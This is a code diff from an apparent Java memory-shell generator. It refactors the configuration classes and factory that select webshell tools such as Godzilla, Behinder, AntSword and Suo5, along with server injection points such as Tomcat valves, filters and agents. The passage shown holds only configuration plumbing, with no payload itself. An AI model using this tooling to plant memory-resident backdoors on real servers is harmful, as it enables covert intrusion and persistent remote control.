public static final String Command = "Command";
|
Behinder(BehinderGenerator.class, BehinderConfig.class),
|
||||||
public static final String Suo5 = "Suo5";
|
Suo5(Suo5Generator.class, Suo5Config.class),
|
||||||
public static final String Suo5v2 = "Suo5v2";
|
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
|
||||||
public static final String AntSword = "AntSword";
|
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
Custom(CustomShellGenerator.class, CustomConfig.class);
|
||||||
public static final String Proxy = "Proxy";
|
|
||||||
public static final String Custom = "Custom";
|
private final Class<? extends ShellGenerator> generatorClass;
|
||||||
|
private final Class<? extends ShellToolConfig> configClass;
|
||||||
|
|
||||||
|
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
this.generatorClass = generatorClass;
|
||||||
|
this.configClass = configClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
try {
|
||||||
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
|
generatorClass.getConstructor(ShellConfig.class, configClass);
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
||||||
|
return generator.getBytes();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,52 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
|
||||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.concurrent.ConcurrentHashMap;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/08/22
|
|
||||||
*/
|
|
||||||
public class ShellToolFactory {
|
|
||||||
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
|
||||||
|
|
||||||
static {
|
|
||||||
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
|
||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
|
||||||
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
|
||||||
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
|
||||||
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
|
||||||
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
|
||||||
}
|
|
||||||
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
try {
|
|
||||||
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
|
||||||
Constructor<? extends ShellGenerator> constructor =
|
|
||||||
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
|
||||||
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
|
||||||
return generator.getBytes();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -15,22 +15,17 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String UPGRADE = "Upgrade";
|
|
||||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
public static final String HANDLER = "Handler";
|
|
||||||
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
|
||||||
public static final String CUSTOMIZER = "Customizer";
|
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -45,13 +40,5 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
|
||||||
|
|
||||||
public static final String DUBBO_SERVICE = "DubboService";
|
|
||||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
|
||||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,14 +3,13 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder(toBuilder = true)
|
@SuperBuilder
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -21,31 +20,4 @@ public class AntSwordConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
public B pass(final String pass) {
|
|
||||||
if (StringUtils.isNotBlank(pass)) {
|
|
||||||
this.pass$value = pass;
|
|
||||||
pass$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,14 +3,13 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder(toBuilder = true)
|
@SuperBuilder
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -21,31 +20,4 @@ public class BehinderConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
public B pass(final String pass) {
|
|
||||||
if (StringUtils.isNotBlank(pass)) {
|
|
||||||
this.pass$value = pass;
|
|
||||||
pass$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import lombok.Builder;
|
|||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -15,69 +14,15 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
/**
|
|
||||||
* 接收参数的请求头或请求参数名称
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 加密器
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
/**
|
|
||||||
* 实现类
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
/**
|
|
||||||
* 命令执行模板,使用 {command} 作为占位符
|
|
||||||
*/
|
|
||||||
private String template;
|
|
||||||
|
|
||||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
public B paramName(String paramName) {
|
|
||||||
if (StringUtils.isNotBlank(paramName)) {
|
|
||||||
paramName$value = paramName;
|
|
||||||
paramName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public enum ImplementationClass {
|
public enum ImplementationClass {
|
||||||
RuntimeExec, ForkAndExec;
|
RuntimeExec, ForkAndExec;
|
||||||
@@ -91,15 +36,12 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, BASE64, DOUBLE_BASE64;
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
public static Encryptor fromString(String encryptor) {
|
public static Encryptor fromString(String encryptor) {
|
||||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
return DOUBLE_BASE64;
|
return DOUBLE_BASE64;
|
||||||
}
|
}
|
||||||
if (encryptor != null && encryptor.equals("BASE64")) {
|
|
||||||
return BASE64;
|
|
||||||
}
|
|
||||||
return RAW;
|
return RAW;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,14 +3,13 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder(toBuilder = true)
|
@SuperBuilder
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -23,39 +22,4 @@ public class GodzillaConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
public B pass(final String pass) {
|
|
||||||
if (StringUtils.isNotBlank(pass)) {
|
|
||||||
this.pass$value = pass;
|
|
||||||
pass$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B key(final String key) {
|
|
||||||
if (StringUtils.isNotBlank(key)) {
|
|
||||||
this.key$value = key;
|
|
||||||
key$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -16,46 +16,34 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
|
/**
|
||||||
|
* 注入器 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> injectorBuilder;
|
||||||
|
/**
|
||||||
|
* 内存马 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> shellBuilder;
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
|
||||||
* 辅助类类名
|
|
||||||
*/
|
|
||||||
private String injectorHelperClassName;
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
/**
|
|
||||||
* 辅助类字节码
|
|
||||||
*/
|
|
||||||
private byte[] helperClassBytes;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加静态代码块调用构造方法初始化
|
|
||||||
*/
|
|
||||||
private boolean staticInitialize;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,24 +18,4 @@ public class NeoreGeorgConfig extends ShellToolConfig {
|
|||||||
private String headerName = "Referer";
|
private String headerName = "Referer";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import lombok.*;
|
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
@Getter
|
|
||||||
@SuperBuilder
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@ToString
|
|
||||||
public class ProxyConfig extends ShellToolConfig {
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
@@ -30,7 +31,7 @@ public class ShellConfig {
|
|||||||
/**
|
/**
|
||||||
* 内存马功能
|
* 内存马功能
|
||||||
*/
|
*/
|
||||||
private String shellTool;
|
private ShellTool shellTool;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类型
|
* 内存马类型
|
||||||
@@ -55,36 +56,19 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 是否使用回显模式
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean probe = false;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否启用缩小字节码
|
* 是否启用缩小字节码
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean shrink = false;
|
private boolean shrink = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 追加 Lambda 类名后缀
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean lambdaSuffix = false;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将 Java EE 转换为 Jakarta EE 类名
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean jakarta = false;
|
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -1,18 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.fasterxml.jackson.annotation.JsonIgnore;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
@SuperBuilder(toBuilder = true)
|
@SuperBuilder
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
public class ShellToolConfig {
|
public class ShellToolConfig {
|
||||||
@@ -21,9 +19,6 @@ public class ShellToolConfig {
|
|||||||
*/
|
*/
|
||||||
private Class<?> shellClass;
|
private Class<?> shellClass;
|
||||||
|
|
||||||
@JsonIgnore
|
|
||||||
private transient TypeDescription shellTypeDescription;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* shellClass 的类名
|
* shellClass 的类名
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,24 +18,4 @@ public class Suo5Config extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
